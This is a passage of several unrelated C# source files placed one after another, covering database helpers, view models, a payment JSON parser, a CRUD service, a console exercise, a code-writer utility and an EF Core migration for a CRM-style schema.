public async Task<bool> Delete(Models.CollectPath collectPath)
{
try
{
if (collectPath != null)
{
await _dBContext.Instance.DeleteAsync(collectPath);
return true;
}
}
catch (Exception ex)
{
_logger.Error(ex, "Failed to delete CollectPath item");
}
return false;
}
public async Task UpdateFolders(string directory)
{
try
{
var paths = await _dBContext.Instance.Table<Models.CollectPath>().Where(x => x.Path.StartsWith(directory, StringComparison.OrdinalIgnoreCase)).ToListAsync();
if (paths != null && paths.Count > 0)
{
foreach (var item in paths)
{
if (string.Equals(item.Path, directory, StringComparison.OrdinalIgnoreCase))
{
item.TotalFilesFound += 1;
item.LastCheck = DateTime.Now;
} else
{
item.TotalFilesFound += 1;
item.SubFoldersFilesFound += 1;
item.LastCheck = DateTime.Now;
}
}
await _dBContext.Instance.UpdateAllAsync(paths);
}
}
catch (Exception ex)
{
_logger.Error(ex, "Failed to update Folders");
}
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using System.Data;
using BP12;
using Mono.Data.Sqlite;
using UnityEngine;
public static class SQLConnection
{
private static IDbConnection m_dbConnection;
private static string path => "URI=file:" + Application.streamingAssetsPath + "/Database/DChildDatabase.db";
public static IDataReader ExecuteQuery(string query)
{
var command = m_dbConnection.CreateCommand();
command.CommandText = query;
var reader = command.ExecuteReader();
command.Dispose();
return reader;
}
public static void ExecuteCommand(string query)
{
var command = m_dbConnection.CreateCommand();
command.CommandText = query;
var reader = command.ExecuteNonQuery();
command.Dispose();
}
public static void Open()
{
if (m_dbConnection == null)
{
m_dbConnection = (IDbConnection)new SqliteConnection(path);
m_dbConnection.Open();
ExecuteCommand("PRAGMA foreign_keys = ON;");
}
}
public static void Close()
{
if (m_dbConnection != null)
{
m_dbConnection.Close();
m_dbConnection = null;
}
}
}
|
using System.ComponentModel.DataAnnotations;
using AutoMapper;
using Profiling2.Domain.Prf;
namespace Profiling2.Web.Mvc.Areas.Profiling.Controllers.ViewModels
{
public class PhotoViewModel
{
public int Id { get; set; }
[Required(ErrorMessage = "A photo name is required.")]
[StringLength(255, ErrorMessage = "Photo name must not be longer than 255 characters.")]
public string PhotoName { get; set; }
[StringLength(4000, ErrorMessage = "File URL must not be longer than 4000 characters.")]
public string FileURL { get; set; }
public bool Archive { get; set; }
public string Notes { get; set; }
[Required(ErrorMessage = "A person is required.")]
[Range(1, int.MaxValue, ErrorMessage = "A valid person is required.")]
public int PersonId { get; set; }
public PhotoViewModel() { }
public PhotoViewModel(Photo photo)
{
this.Id = photo.Id;
this.PhotoName = photo.PhotoName;
this.FileURL = photo.FileURL;
this.Archive = photo.Archive;
this.Notes = photo.Notes;
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using BPMInterfaceModel;
using Newtonsoft.Json;
using System.IO;
using Newtonsoft.Json.Linq;
namespace BPMInterfaceToolkit
{
public class JsonAnalysis
{
public static object JsonAnalysisFunction(string json, string type)
{
object o = null;
JArray jArray = new JArray();
try
{
//JObject jo = JsonConvert.DeserializeObject(json) as JObject;
string jsonData = JsonConvert.SerializeObject(json);
JsonReader jr = new JsonTextReader(new StringReader(jsonData));
while (jr.Read())
{
jArray = JArray.Parse(jr.Value.ToString());
switch (type)
{
case "PaymentInfo":
//PaymentInfoModel[] pis = new PaymentInfoModel[jArray.Count];
int pis_currentcount = 0;
int pis_length = 1;
foreach (var jsonitem in jArray)
{
//PaymentInfoModel pi = new PaymentInfoModel();
JObject job = (JObject)jsonitem;
double money = Convert.ToDouble(job["mOriginMoney"]);
if (money > 1900000)
{
if (money % 1900000 != 0)
{
pis_length = Convert.ToInt32(money / 1900000) + 1;
}
else
{
pis_length = Convert.ToInt32(money / 1900000);
}
}
PaymentInfoModel[] pis = new PaymentInfoModel[pis_length];
while (money > 1900000)
{
PaymentInfoModel pi = new PaymentInfoModel();
if (pis_currentcount == 0)
{
pi.cBillID = job["cBillId"].ToString().Trim();
}
else
{
pi.cBillID = job["cBillId"].ToString().Trim() + "-" + pis_currentcount.ToString().Trim();
}
pi.dBillDate = Convert.ToDateTime(job["cBillDate"]);
pi.mOriginMoney = 1900000;
pi.mNativeMoney = 1900000;
pi.cAccountTo = job["cAccountTo"].ToString().Trim();
pi.cPurpose = job["cPurpose"].ToString().Trim();
pi.bInner = Convert.ToInt32(job["bInner"]);
//pi.emailAddress = job["emailAddress"].ToString().Trim();
pi.analysisResult = "success";
pis[pis_currentcount] = pi;
pis_currentcount++;
money = money - 1900000;
}
if (money != 0)
{
PaymentInfoModel pi = new PaymentInfoModel();
if (pis_currentcount == 0)
{
pi.cBillID = job["cBillId"].ToString().Trim();
}
else
{
pi.cBillID = job["cBillId"].ToString().Trim() + "-" + pis_currentcount.ToString().Trim();
}
pi.dBillDate = Convert.ToDateTime(job["cBillDate"]);
pi.mOriginMoney = money;
pi.mNativeMoney = money;
pi.cAccountTo = job["cAccountTo"].ToString().Trim();
pi.cPurpose = job["cPurpose"].ToString().Trim();
pi.bInner = Convert.ToInt32(job["bInner"]);
//pi.emailAddress = job["emailAddress"].ToString().Trim();
pi.analysisResult = "success";
pis[pis_currentcount] = pi;
}
o = pis;
}
break;
default:
break;
}
}
}
catch (Exception e)
{
switch (type)
{
case "PaymentInfo":
PaymentInfoModel[] pis = new PaymentInfoModel[1];
pis[0] = new PaymentInfoModel();
pis[0].analysisResult = "error";
o = pis;
Log.WriteLog(string.Format("PaymentInfo: {0}", e.ToString()));
break;
default:
break;
}
}
return o;
}
}
}
|
using ServiceQuotes.Domain.Entities.Enums;
using System.ComponentModel.DataAnnotations;
namespace ServiceQuotes.Application.DTOs.Quote
{
public class UpdateQuoteStatusRequest
{
[Required(ErrorMessage = "Status is required")]
public Status Status { get; set; }
}
}
|
using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Web;
using TestApp.Models;
namespace TestApp.Services
{
public class CategoriesService
{
TestDBContext testDBContext;
public CategoriesService()
{
testDBContext = new TestDBContext();
}
private IList<Category> GetAllCategories()
{
try
{
List<Category> categories = testDBContext.Categories.ToList();
return categories;
}
catch(Exception ex)
{
throw ex;
}
}
private IList<Product> GetAllProducts()
{
try
{
List<Product> products = testDBContext.Products.ToList();
return products;
}
catch (Exception ex)
{
throw ex;
}
}
public IEnumerable<Category> Read()
{
return GetAllCategories();
}
public IEnumerable<Product> ReadProductsByCategory(int categoryID)
{
return GetAllProducts().Where(x => x.ProductCategoryID == categoryID);
}
public void CreateCategory(Category category)
{
try
{
Category newCategory = new Category();
newCategory.Name = category.Name;
newCategory.ValidFrom = category.ValidFrom;
testDBContext.Categories.Add(newCategory);
testDBContext.SaveChanges();
category.CategoryID = newCategory.CategoryID;
}
catch (Exception ex)
{
throw ex;
}
}
public void Update(Category category)
{
try
{
Category categoryToUpdate = GetAllCategories().Where(x => x.CategoryID == category.CategoryID).FirstOrDefault();
if (categoryToUpdate != null)
{
categoryToUpdate.Name = category.Name;
categoryToUpdate.ValidFrom = category.ValidFrom;
testDBContext.SaveChanges();
}
}
catch(Exception ex)
{
throw ex;
}
}
public void Delete(int categoryID)
{
try
{
Category categoryToDelete = GetAllCategories().Where(x => x.CategoryID == categoryID).FirstOrDefault();
List<Product> productsToDelete = GetAllProducts().Where(x => x.ProductCategoryID == categoryID).ToList();
if (productsToDelete.Count > 0)
{
foreach (Product productToDelete in productsToDelete)
{
testDBContext.Products.Attach(productToDelete);
testDBContext.Products.Remove(productToDelete);
}
testDBContext.SaveChanges();
}
if (categoryToDelete != null)
{
testDBContext.Categories.Attach(categoryToDelete);
testDBContext.Categories.Remove(categoryToDelete);
testDBContext.SaveChanges();
}
}
catch (Exception ex)
{
throw ex;
}
}
public void Dispose()
{
testDBContext.Dispose();
}
}
} |
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace ConsoleApplication
{
internal class PathHelper
{
internal static IEnumerable<string> GetConfigPaths(IEnumerable<string> args)
{
IEnumerable<string> paths = PathHelper.getInputFiles(args);
if (!paths.Any())
paths = PathHelper.getDefaultFiles();
return paths;
}
private static IEnumerable<string> getInputFiles(IEnumerable<string> args)
{
bool startRecord = false;
foreach (string arg in args)
{
var trimedArg = arg.Trim();
if (string.IsNullOrEmpty(trimedArg))
continue;
if (string.Compare(arg, "-p", true) == 0)
startRecord = true;
if (startRecord)
yield return arg;
}
}
private static IEnumerable<string> getDefaultFiles()
{
string path = AppDomain.CurrentDomain.BaseDirectory;
string newPath = Path.Combine(path, "Config");
if (!Directory.Exists(newPath))
return new string[] { };
string[] configFilePaths = Directory.GetFiles(newPath, "*.config");
string[] jsonFilePaths = Directory.GetFiles(newPath, "*.json");
return configFilePaths.Union(jsonFilePaths);
}
}
}
|
using System.Windows.Controls;
namespace Crystal.Plot2D
{
/// <summary>
/// <see cref="LegendItem"/> is a base class for item in legend, that represents some chart.
/// </summary>
public abstract class LegendItem : ContentControl
{
/// <summary>
/// Initializes a new instance of the <see cref="LegendItem"/> class.
/// </summary>
protected LegendItem() { }
/// <summary>
/// Initializes a new instance of the <see cref="LegendItem"/> class.
/// </summary>
/// <param name="description">
/// The description.
/// </param>
protected LegendItem(Description description)
{
Description = description;
}
private Description description;
/// <summary>
/// Gets or sets the description.
/// </summary>
/// <value>
/// The description.
/// </value>
public Description Description
{
get { return description; }
set
{
description = value;
Content = description;
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
namespace _09._Pokemon_Don_t_Go
{
class Program
{
static void Main(string[] args)
{
List<int> pokemonDistances = Console.ReadLine()
.Split()
.Select(int.Parse)
.ToList();
int sumOfPokmemons = 0;
while (pokemonDistances.Count != 0)
{
int index = int.Parse(Console.ReadLine());
if (index < 0)
{
int distanceWhenLess = pokemonDistances[0];
pokemonDistances[0] = pokemonDistances[pokemonDistances.Count - 1];
sumOfPokmemons += distanceWhenLess;
pokemonDistances = IncreaseAndDecrease(distanceWhenLess, pokemonDistances);
}
else if (index >= pokemonDistances.Count)
{
int distanceWhenMore = pokemonDistances[pokemonDistances.Count - 1];
pokemonDistances[pokemonDistances.Count - 1] = pokemonDistances[0];
sumOfPokmemons += distanceWhenMore;
pokemonDistances = IncreaseAndDecrease(distanceWhenMore, pokemonDistances);
}
else
{
int distance = pokemonDistances[index];
sumOfPokmemons += pokemonDistances[index];
pokemonDistances.RemoveAt(index);
IncreaseAndDecrease(distance, pokemonDistances);
}
}
Console.WriteLine(sumOfPokmemons);
}
private static List<int> IncreaseAndDecrease(int value, List<int> distances)
{
for (int i = 0; i < distances.Count; i++)
{
if (distances[i] <= value)
{
distances[i] += value;
}
else
{
distances[i] -= value;
}
}
return distances;
}
}
}
|
using System.Linq;
using iSukces.Code.Interfaces;
namespace iSukces.Code
{
public sealed class IfCollector
{
public IfCollector(string condition, string inversed = null)
: this(new ConditionsPair(condition, inversed))
{
}
public IfCollector(ConditionsPair condition)
{
Condition = condition;
}
private static string CloseCurly(bool required)
{
return required ? "} " : "";
}
private static string OpenCurly(bool required)
{
return required ? " {" : "";
}
private static void WriteLines(CsCodeWriter writer, string[] statementLines, bool intended = false)
{
if (intended)
writer.IncIndent();
foreach (var i in statementLines)
writer.WriteLine(i);
if (intended)
writer.DecIndent();
}
private static void WriteOne(CsCodeWriter writer, string condition, string[] statementLines)
{
switch (statementLines.Length)
{
case 0:
return;
case 1:
writer.SingleLineIf(condition, statementLines[0]);
return;
default:
writer.Open($"if ({condition})");
WriteLines(writer, statementLines);
writer.Close();
return;
}
}
public void WriteTo(CsCodeWriter writer)
{
var statementLines = SplitCode(Statement.Code);
var elseLines = SplitCode(Else.Code);
if (Condition.IsAlwaysTrue)
{
WriteLines(writer, statementLines);
return;
}
if (Condition.IsAlwaysFalse)
{
WriteLines(writer, elseLines);
return;
}
if (elseLines.Length == 0)
{
WriteOne(writer, Condition.Condition, statementLines);
}
else if (statementLines.Length == 0)
{
WriteOne(writer, Condition.Inversed, elseLines);
}
else
{
var o1 = statementLines.Length > 1;
writer.WriteLine($"if ({Condition.Condition}){OpenCurly(o1)}");
WriteLines(writer, statementLines, true);
var o2 = elseLines.Length > 1;
writer.WriteLine(CloseCurly(o1) + "else" + OpenCurly(o2));
WriteLines(writer, elseLines, true);
if (o2)
writer.WriteLine("}");
}
}
public static string[] SplitCode(string code)
{
if (string.IsNullOrWhiteSpace(code))
return new string[0];
var statementLines = code.Split('\r', '\n')
.Where(a => !string.IsNullOrWhiteSpace(a)).ToArray();
return statementLines;
}
public ConditionsPair Condition { get; }
public CsCodeWriter Statement { get; } = new CsCodeWriter();
public CsCodeWriter Else { get; } = new CsCodeWriter();
}
} |
using Castle.MicroKernel.Registration;
using Castle.MicroKernel.SubSystems.Configuration;
using Castle.Windsor;
using Pe.Stracon.Politicas.Aplicacion.Core.Factory;
namespace Pe.Stracon.Politicas.Aplicacion.Core.Installers
{
/// <summary>
/// Instalador persistencia
/// </summary>
/// <remarks>
/// Creación: GMD 22122014 <br />
/// Modificación: <br />
/// </remarks>
public class PersistenceInstaller : IWindsorInstaller
{
/// <summary>
/// Instalación
/// </summary>
/// <param name="container">Contenedor</param>
/// <param name="store">Store</param>
public void Install(IWindsorContainer container, IConfigurationStore store)
{
container.AddFacility<PersistenceFacility>();
}
}
} |
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Migrations;
using System;
using System.Collections.Generic;
namespace lsc.Dal.Migrations
{
public partial class createAlltable : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.CreateTable(
name: "Districtinfos",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Name = table.Column<string>(type: "varchar(64)", maxLength: 64, nullable: true),
Pid = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Districtinfos", x => x.ID);
});
migrationBuilder.CreateTable(
name: "EmailResourcess",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Email = table.Column<string>(type: "varchar(64)", maxLength: 64, nullable: true),
Password = table.Column<string>(type: "varchar(11)", maxLength: 11, nullable: true),
Port = table.Column<string>(type: "varchar(6)", maxLength: 6, nullable: true),
SenderServerIp = table.Column<string>(type: "varchar(64)", maxLength: 64, nullable: true),
UserName = table.Column<string>(type: "varchar(64)", maxLength: 64, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_EmailResourcess", x => x.Id);
});
migrationBuilder.CreateTable(
name: "EmailTemplates",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
EmailContent = table.Column<string>(type: "varchar(2048)", maxLength: 2048, nullable: true),
Title = table.Column<string>(type: "varchar(256)", maxLength: 256, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_EmailTemplates", x => x.Id);
});
migrationBuilder.CreateTable(
name: "EnterCustContactss",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Address = table.Column<string>(type: "longtext", nullable: true),
Business = table.Column<string>(type: "longtext", nullable: true),
Department = table.Column<string>(type: "longtext", nullable: true),
Duties = table.Column<string>(type: "longtext", nullable: true),
Email = table.Column<string>(type: "longtext", nullable: true),
EnterCustID = table.Column<int>(type: "int", nullable: false),
Landline = table.Column<string>(type: "longtext", nullable: true),
Name = table.Column<string>(type: "longtext", nullable: true),
QQ = table.Column<string>(type: "longtext", nullable: true),
Rem = table.Column<string>(type: "longtext", nullable: true),
Sex = table.Column<int>(type: "int", nullable: false),
Telephone = table.Column<string>(type: "longtext", nullable: true),
WeChart = table.Column<string>(type: "longtext", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_EnterCustContactss", x => x.ID);
});
migrationBuilder.CreateTable(
name: "EnterCustomers",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Abbreviation = table.Column<string>(type: "longtext", nullable: true),
Address = table.Column<string>(type: "varchar(256)", maxLength: 256, nullable: true),
City = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
CreateUserID = table.Column<int>(type: "int", nullable: false),
CustAbstract = table.Column<string>(type: "varchar(1024)", maxLength: 1024, nullable: true),
CustomerType = table.Column<int>(type: "int", nullable: false),
DegreeOfHeat = table.Column<int>(type: "int", nullable: false),
Email = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
EnterName = table.Column<string>(type: "varchar(126)", maxLength: 126, nullable: true),
FaxNumber = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
HeatMsg = table.Column<string>(type: "varchar(256)", maxLength: 256, nullable: true),
HeatTYPE = table.Column<int>(type: "int", nullable: false),
InvoiceMsg = table.Column<string>(type: "varchar(1024)", maxLength: 1024, nullable: true),
IsHeat = table.Column<bool>(type: "bit", nullable: false),
Landline = table.Column<string>(type: "longtext", nullable: true),
Phase = table.Column<int>(type: "int", nullable: false),
Province = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
Relationship = table.Column<int>(type: "int", nullable: false),
Rem = table.Column<string>(type: "varchar(256)", maxLength: 256, nullable: true),
Source = table.Column<int>(type: "int", nullable: false),
State = table.Column<int>(type: "int", nullable: false),
Telephone = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
UpdateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
UserID = table.Column<int>(type: "int", nullable: false),
ValueGrade = table.Column<int>(type: "int", nullable: false),
WebSit = table.Column<string>(type: "varchar(126)", maxLength: 126, nullable: true),
ZipCode = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_EnterCustomers", x => x.ID);
});
migrationBuilder.CreateTable(
name: "EnterCustPhaseLogs",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
EnterCustomerID = table.Column<int>(type: "int", nullable: false),
Phase = table.Column<int>(type: "int", nullable: false),
Rem = table.Column<string>(type: "longtext", nullable: true),
UserID = table.Column<int>(type: "int", nullable: false),
UserName = table.Column<string>(type: "longtext", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_EnterCustPhaseLogs", x => x.ID);
});
migrationBuilder.CreateTable(
name: "ModuleInfos",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Name = table.Column<string>(type: "varchar(64)", maxLength: 64, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_ModuleInfos", x => x.ID);
});
migrationBuilder.CreateTable(
name: "Options",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Content = table.Column<string>(type: "varchar(126)", maxLength: 126, nullable: true),
IsOk = table.Column<bool>(type: "bit", nullable: false),
ItemIndex = table.Column<string>(type: "varchar(2)", maxLength: 2, nullable: true),
QuestionsId = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Options", x => x.Id);
});
migrationBuilder.CreateTable(
name: "QuestionsDbSet",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Content = table.Column<string>(type: "varchar(126)", maxLength: 126, nullable: true),
QuestionsType = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_QuestionsDbSet", x => x.Id);
});
migrationBuilder.CreateTable(
name: "ReceivedPaymentsLogs",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Amt = table.Column<double>(type: "double", nullable: false),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
Rem = table.Column<string>(type: "longtext", nullable: true),
SalesProjectID = table.Column<int>(type: "int", nullable: false),
UserID = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_ReceivedPaymentsLogs", x => x.ID);
});
migrationBuilder.CreateTable(
name: "SalesProjects",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
CreateUserID = table.Column<int>(type: "int", nullable: false),
EnterCustomerID = table.Column<int>(type: "int", nullable: false),
HeadID = table.Column<int>(type: "int", nullable: false),
ProjectAbstract = table.Column<string>(type: "longtext", nullable: true),
ProjectAmt = table.Column<double>(type: "double", nullable: false),
ProjectState = table.Column<int>(type: "int", nullable: false),
ProjectTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
ProjectType = table.Column<int>(type: "int", nullable: false),
ReceoverPay = table.Column<double>(type: "double", nullable: false),
ReceoverPayTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
Title = table.Column<string>(type: "longtext", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_SalesProjects", x => x.ID);
});
migrationBuilder.CreateTable(
name: "SalesProjectStateLogs",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
ProjectState = table.Column<int>(type: "int", nullable: false),
Rem = table.Column<string>(type: "longtext", nullable: true),
SalesProjectID = table.Column<int>(type: "int", nullable: false),
UserID = table.Column<int>(type: "int", nullable: false),
UserName = table.Column<string>(type: "longtext", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_SalesProjectStateLogs", x => x.ID);
});
migrationBuilder.CreateTable(
name: "SendEmailLogs",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Email = table.Column<string>(type: "varchar(64)", maxLength: 64, nullable: true),
EmailTempId = table.Column<int>(type: "int", nullable: false),
IsRead = table.Column<bool>(type: "bit", nullable: false),
IsSend = table.Column<bool>(type: "bit", nullable: false),
IsSendOk = table.Column<bool>(type: "bit", nullable: false),
Name = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
SendEmailTaskId = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_SendEmailLogs", x => x.Id);
});
migrationBuilder.CreateTable(
name: "SendEmailTasks",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
EmailTempId = table.Column<int>(type: "int", nullable: false),
TaskName = table.Column<string>(type: "varchar(256)", maxLength: 256, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_SendEmailTasks", x => x.Id);
});
migrationBuilder.CreateTable(
name: "TargetEmails",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Email = table.Column<string>(type: "varchar(64)", maxLength: 64, nullable: true),
Name = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_TargetEmails", x => x.Id);
});
migrationBuilder.CreateTable(
name: "UserAccounts",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Password = table.Column<string>(type: "varchar(256)", maxLength: 256, nullable: true),
UserID = table.Column<int>(type: "int", nullable: false),
UserName = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_UserAccounts", x => x.ID);
});
migrationBuilder.CreateTable(
name: "UserAnswer",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
Content = table.Column<string>(type: "varchar(500)", maxLength: 500, nullable: true),
IsOk = table.Column<bool>(type: "bit", nullable: false),
LogId = table.Column<int>(type: "int", nullable: false),
OptionId = table.Column<int>(type: "int", nullable: false),
QuestionId = table.Column<int>(type: "int", nullable: false),
Score = table.Column<double>(type: "double", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_UserAnswer", x => x.Id);
});
migrationBuilder.CreateTable(
name: "UserAnswerLog",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
Duration = table.Column<double>(type: "double", nullable: false),
TotalScore = table.Column<double>(type: "double", nullable: false),
UserId = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_UserAnswerLog", x => x.Id);
});
migrationBuilder.CreateTable(
name: "UserQuestions",
columns: table => new
{
Id = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
LogId = table.Column<int>(type: "int", nullable: false),
QIndex = table.Column<int>(type: "int", nullable: false),
QuestionsId = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_UserQuestions", x => x.Id);
});
migrationBuilder.CreateTable(
name: "UserRoleJurisdictions",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
IsAdd = table.Column<bool>(type: "bit", nullable: false),
IsAssignment = table.Column<bool>(type: "bit", nullable: false),
IsDelete = table.Column<bool>(type: "bit", nullable: false),
IsEdit = table.Column<bool>(type: "bit", nullable: false),
IsQuery = table.Column<bool>(type: "bit", nullable: false),
ModuleID = table.Column<int>(type: "int", nullable: false),
UserRoleID = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_UserRoleJurisdictions", x => x.ID);
});
migrationBuilder.CreateTable(
name: "UserRoles",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
RoleName = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
State = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_UserRoles", x => x.ID);
});
migrationBuilder.CreateTable(
name: "Users",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
Name = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true),
RoleID = table.Column<int>(type: "int", nullable: false),
State = table.Column<int>(type: "int", nullable: false),
TargetAmt = table.Column<double>(type: "double", nullable: false),
TelPhone = table.Column<string>(type: "varchar(11)", maxLength: 11, nullable: true),
UserName = table.Column<string>(type: "varchar(32)", maxLength: 32, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Users", x => x.ID);
});
migrationBuilder.CreateTable(
name: "WorkPlans",
columns: table => new
{
ID = table.Column<int>(type: "int", nullable: false)
.Annotation("MySql:ValueGenerationStrategy", MySqlValueGenerationStrategy.IdentityColumn),
CreateTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
EnterCustID = table.Column<int>(type: "int", nullable: false),
PlanContent = table.Column<string>(type: "longtext", nullable: true),
PlanTime = table.Column<DateTime>(type: "datetime(6)", nullable: false),
UserID = table.Column<int>(type: "int", nullable: false),
WorkPlanState = table.Column<int>(type: "int", nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_WorkPlans", x => x.ID);
});
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropTable(
name: "Districtinfos");
migrationBuilder.DropTable(
name: "EmailResourcess");
migrationBuilder.DropTable(
name: "EmailTemplates");
migrationBuilder.DropTable(
name: "EnterCustContactss");
migrationBuilder.DropTable(
name: "EnterCustomers");
migrationBuilder.DropTable(
name: "EnterCustPhaseLogs");
migrationBuilder.DropTable(
name: "ModuleInfos");
migrationBuilder.DropTable(
name: "Options");
migrationBuilder.DropTable(
name: "QuestionsDbSet");
migrationBuilder.DropTable(
name: "ReceivedPaymentsLogs");
migrationBuilder.DropTable(
name: "SalesProjects");
migrationBuilder.DropTable(
name: "SalesProjectStateLogs");
migrationBuilder.DropTable(
name: "SendEmailLogs");
migrationBuilder.DropTable(
name: "SendEmailTasks");
migrationBuilder.DropTable(
name: "TargetEmails");
migrationBuilder.DropTable(
name: "UserAccounts");
migrationBuilder.DropTable(
name: "UserAnswer");
migrationBuilder.DropTable(
name: "UserAnswerLog");
migrationBuilder.DropTable(
name: "UserQuestions");
migrationBuilder.DropTable(
name: "UserRoleJurisdictions");
migrationBuilder.DropTable(
name: "UserRoles");
migrationBuilder.DropTable(
name: "Users");
migrationBuilder.DropTable(
name: "WorkPlans");
}
}
}
|
using System;
using System.Collections.Generic;
using AGCompressedAir.Domain.Domains.Base;
namespace AGCompressedAir.Domain.Domains
{
